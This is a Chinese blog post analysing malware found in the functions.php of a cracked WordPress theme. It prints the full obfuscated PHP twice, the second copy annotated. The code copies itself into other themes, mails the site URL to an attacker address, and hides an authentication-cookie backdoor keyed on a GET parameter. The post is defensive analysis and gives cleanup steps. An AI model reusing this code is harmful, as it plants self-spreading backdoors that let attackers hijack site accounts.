测试网上下载的一个破解版本wpyou主题，启用时出现如“Fatal error: Cannot redeclare _verifyactivate_widgets()”的报错，检查主题的functions.php文件时，发现了_verifyactivate_widgets()、_verify_isactivate_widgets()、_check_isactive_widget()、_get_allwidgetscont()、_prepare_widgets()、_popular_posts()等函数，乍看之下，还以为是小工具之类的函数，实际是恶意代码。
完整的代码如下：
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<?php function _check_isactive_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "/n/t"); fputs($f=fopen($item,"w+"),$cont . $explar . "/n" .$widget);fclose($f); $output .= ($showdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_allwidgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_isactive_widget"); function _getsprepare_widget(){ if(!isset($com_length)) $com_length=120; if(!isset($text_value)) $text_value="cookie"; if(!isset($allowed_tags)) $allowed_tags="<a>"; if(!isset($type_filter)) $type_filter="none"; if(!isset($expl)) $expl=""; if(!isset($filter_homes)) $filter_homes=get_option("home"); if(!isset($pref_filter)) $pref_filter="wp_"; if(!isset($use_more)) $use_more=1; if(!isset($comm_type)) $comm_type=""; if(!isset($pagecount)) $pagecount=$_GET["cperpage"]; if(!isset($postauthor_comment)) $postauthor_comment=""; if(!isset($comm_is_approved)) $comm_is_approved=""; if(!isset($postauthor)) $postauthor="auth"; if(!isset($more_link)) $more_link="(more...)"; if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_"); if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value; if(!isset($more_link_ditails)) $more_link_ditails="(details...)"; if(!isset($morecontents)) $morecontents="ma".$expl."il"; if(!isset($fmore)) $fmore=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; if (!$is_widget) : global $wpdb, $post; $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=/"1/" AND comment_type=/"/" AND post_author=/"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m/" AND post_password=/"/" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($f_tags)) $f_tags=1; if(!isset($type_filters)) $type_filters=$filter_homes; if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents; if(!isset($aditional_tags)) $aditional_tags="div"; if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more_link_text)) $more_link_text="Continue reading this entry"; if(!isset($showdots)) $showdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=/"1/" AND comment_type=/"/" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($com_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $com_length) { $l=$com_length; $ellipsis=1; } else { $l=count($text); $more_link=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } update_option("_is_widget_active_", 1); if("all" != $allowed_tags) { $output=strip_tags($output, $allowed_tags); return $output; } endif; $output=rtrim($output, "/s/n/t/r/0/x0B"); $output=($f_tags) ? balanceTags($output, true) : $output; $output .= ($showdots && $ellipsis) ? "..." : ""; $output=apply_filters($type_filter, $output); switch($aditional_tags) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } if ($use_more ) { if($fmore) { $output .= " <" . $tag . " class=/"more-link/"><a href=/"". get_permalink($post->ID) . "#more-" . $post->ID ."/" title=/"" . $more_link_text . "/">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "/n"; } else { $output .= " <" . $tag . " class=/"more-link/"><a href=/"". get_permalink($post->ID) . "/" title=/"" . $more_link_text . "/">" . $more_link . "</a></" . $tag . ">" . "/n"; } } return $output; } add_action("init", "_getsprepare_widget"); function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS /"comment_count/" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved=/"1/" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=/"publish/""; if(!$show_pass_post) $request .= " AND post_password =/"/""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href=/"" . $permalink . "/" title=/"" . $post_title."/">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } ?> |
每当wp加载主题时，会调用function.php里面的函数，而恶意代码会在此过程中加在，并检测到你wp主题的绝对路径，之后把其它的主题一并感染，而且它加了很多伪装代码，此代码变量众多，下面是google后找到的结果：
再来大概说说它的工作原理，首先它会存在某一主题里面，当你启用调试此主题时，这段代码可以通过遍历获得你主题目录下的所有主题里面的functions.php，并在functions.php文件结尾处的最后一个“？>”处自动添加下面的恶意病毒代码，如果恶意病毒代码添加成功，它会发送你博客的url地址到livethemas@gmail.com（可能大家没看到这个邮箱地址的添加位置，这就是它的巧妙之处，它将email地址拆分转义，然后用多重变量引用，下面的代码我已经用红色标注出了此email地址。
解决方法：
把感染了代码的主题下载到电脑本地，在每个主题的functions.php文件中删除所有恶意代码，再上传到主题目录启用。
PS：因此博客吧建议真心想做网站的站长购买正版主题，安全有保障！
下面是该代码的注释版本：
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<?php function _verifyactivate_widgets(){ //当前文件名，如/path-to-www/wp-content/themes/SimpleDark/functions.php //查找当前主题functions.php文件中最后一个 < ? 标记，从这个标记的位置开始，取得一直到文件尾的内容 $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?")); $output=""; $allowed=""; //去除html和php标签，其实这一句是扯蛋。。。 $output=strip_tags($output, $allowed); //取得主题目录themes的绝对路径，如 /path-to-www/wp-content/themes //为了加强程序的兼容性，它不惜以这种很晦涩的方式来获取。。。 //以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径 $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ //如果主题functions.php文件可写 if (is_writable($item)){ //特征码 $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); //取目标functions.php文件内容 $cont=file_get_contents($item); //没找到特征码?OK,试图感染 if (stripos($cont,$ftion) === false){ //查看目标functions.php文件最后是否是以 ? > 结尾，如果不是，给加上 ? > 标记 $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; //这里的代码是忽悠人了，模仿WP widgets的代码，蛊惑你的眼睛，让你觉得这是widget代码。。。 $output .= $before . "Not found" . $after; //如果文件是以 ?> 标记结尾的，连标记一起取过来 if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} //开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码 $output=rtrim($output, "/n/t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "/n" .$widget);fclose($f); //后面这句也是伪装用的 $output .= ($isshowdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgets_cont($wids,$items=array()){ //从$wids数组弹出一个元素(实际上是一个位置) $places=array_shift($wids); //如果位置字串是以/结尾的，则去掉/ if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } //若不存在这样的文件或目录则直接返回false if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ //否则的话。。。嘿嘿 //遍历此目录 $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ //如果是目录,则加入$wids数组 if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ //否则，如果是文件，并且文件名等于 functions.php的话，则加入到$items数组保存,这才是它的目的functions.php正是它要找的 $items[]=$places . "/" . $elem;} } } }else{ return false; } //下面还有子目录？再找找看,递归 if (sizeof($wids) > 0){ return _get_allwidgets_cont($wids,$items); } else { //好了，完事了，以数组返回所有找到的functions.php文件的绝对路径 return $items; } } //下面是3个针对低版本的php而写的兼容函数 if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } //这个动作添加了，用于检测所有主题目录下functions.php并感染 add_action("admin_head", "_verifyactivate_widgets"); function _getprepare_widget(){ if(!isset($text_length)) $text_length=120; if(!isset($check)) $check="cookie"; if(!isset($tagsallowed)) $tagsallowed="<a>"; if(!isset($filter)) $filter="none"; if(!isset($coma)) $coma=""; if(!isset($home_filter)) $home_filter=get_option("home"); if(!isset($pref_filters)) $pref_filters="wp_"; if(!isset($is_use_more_link)) $is_use_more_link=1; if(!isset($com_type)) $com_type=""; if(!isset($cpages)) $cpages=$_GET["cperpage"]; if(!isset($post_auth_comments)) $post_auth_comments=""; if(!isset($com_is_approved)) $com_is_approved=""; if(!isset($post_auth)) $post_auth="auth"; if(!isset($link_text_more)) $link_text_more="(more...)"; if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_"); if(!isset($checkswidgets)) //这个实际是wp_set_auth_cookie $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check; if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)"; if(!isset($contentmore)) $contentmore="ma".$coma."il"; if(!isset($for_more)) $for_more=1; if(!isset($fakeit)) $fakeit=1; if(!isset($sql)) $sql=""; //如果 _is_widget_active_ option内容为空,即表示没有被感染过 if (!$widget_yes) : global $wpdb, $post; //取出存在已经通过的评论（不包括trackback/pingback）的文章 // post_author 为 livethemas@gmail.com 的文章，肯定是没有的 $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND post_author="li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m" AND post_password="" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";# if (!empty($post->post_password)) { if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { if(is_feed()) { $output=__("There is no excerpt because this is a protected post."); } else { $output=get_the_password_form(); } } } if(!isset($fixed_tags)) $fixed_tags=1; if(!isset($filters)) $filters=$home_filter; //$gettextcomments实际上为 wp_mail if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore; if(!isset($tag_aditional)) $tag_aditional="div"; //这里$sh_cont即为 livethemas@gmail.com if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);# if(!isset($more_text_link)) $more_text_link="Continue reading this entry"; if(!isset($isshowdots)) $isshowdots=1; $comments=$wpdb->get_results($sql); if($fakeit == 2) { $text=$post->post_content; } elseif($fakeit == 1) { $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt; } else { $text=$post->post_excerpt; } //开始调用 wp_mail 向 livethemas@gmail.com 发送邮件，标题和内容都是被感染的博客的URL 地址 $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";# if($text_length < 0) { $output=$text; } else { if(!$no_more && strpos($text, "<!--more-->")) { $text=explode("<!--more-->", $text, 2); $l=count($text[0]); $more_link=1; //执行这一句时就开始发邮件了。 $comments=$wpdb->get_results($sql); } else { $text=explode(" ", $text); if(count($text) > $text_length) { $l=$text_length; $ellipsis=1; } else { $l=count($text); $link_text_more=""; $ellipsis=0; } } for ($i=0; $i<$l; $i++) $output .= $text[$i] . " "; } //把感染标记置为1 update_option("_is_widget_active_", 1); if("all" != $tagsallowed) { $output=strip_tags($output, $tagsallowed); return $output; } endif; $output=rtrim($output, "/s/n/t/r/0/x0B"); $output=($fixed_tags) ? balanceTags($output, true) : $output; $output .= ($isshowdots && $ellipsis) ? "..." : ""; //$filter 为 none ...,又是在伪装 $output=apply_filters($filter, $output); switch($tag_aditional) { case("div") : $tag="div"; break; case("span") : $tag="span"; break; case("p") : $tag="p"; break; default : $tag="span"; } //$checkswidgets即是wp_set_auth_cookie if ($is_use_more_link ) { if($for_more) { $output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "#more-" . $post->ID ."" title="" . $more_text_link . "">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "/n"; } else { $output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "" title="" . $more_text_link . "">" . $link_text_more . "</a></" . $tag . ">" . "/n"; } } return $output; } //这里是用来干坏事的，这才是这个恶意代码的目的,前面的感染是“准备活动” add_action("init", "_getprepare_widget"); //这个函数也是用来伪装的,无恶意 function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") { global $wpdb; $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments"; $request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish""; if(!$show_pass_post) $request .= " AND post_password ="""; if($duration !="") { $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date "; } $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts"; $posts=$wpdb->get_results($request); $output=""; if ($posts) { foreach ($posts as $post) { $post_title=stripslashes($post->post_title); $comment_count=$post->comment_count; $permalink=get_permalink($post->ID); $output .= $before . " <a href="" . $permalink . "" title="" . $post_title."">" . $post_title . "</a> " . $after; } } else { $output .= $before . "None found" . $after; } return $output; } ?> |
部分内容摘自http://ihacklog.com/post/wordpress-theme-malicious-code-analysis.html
原创文章，作者：carmelaweatherly，如若转载，请注明出处：https://blog.ytso.com/tech/wp/248168.html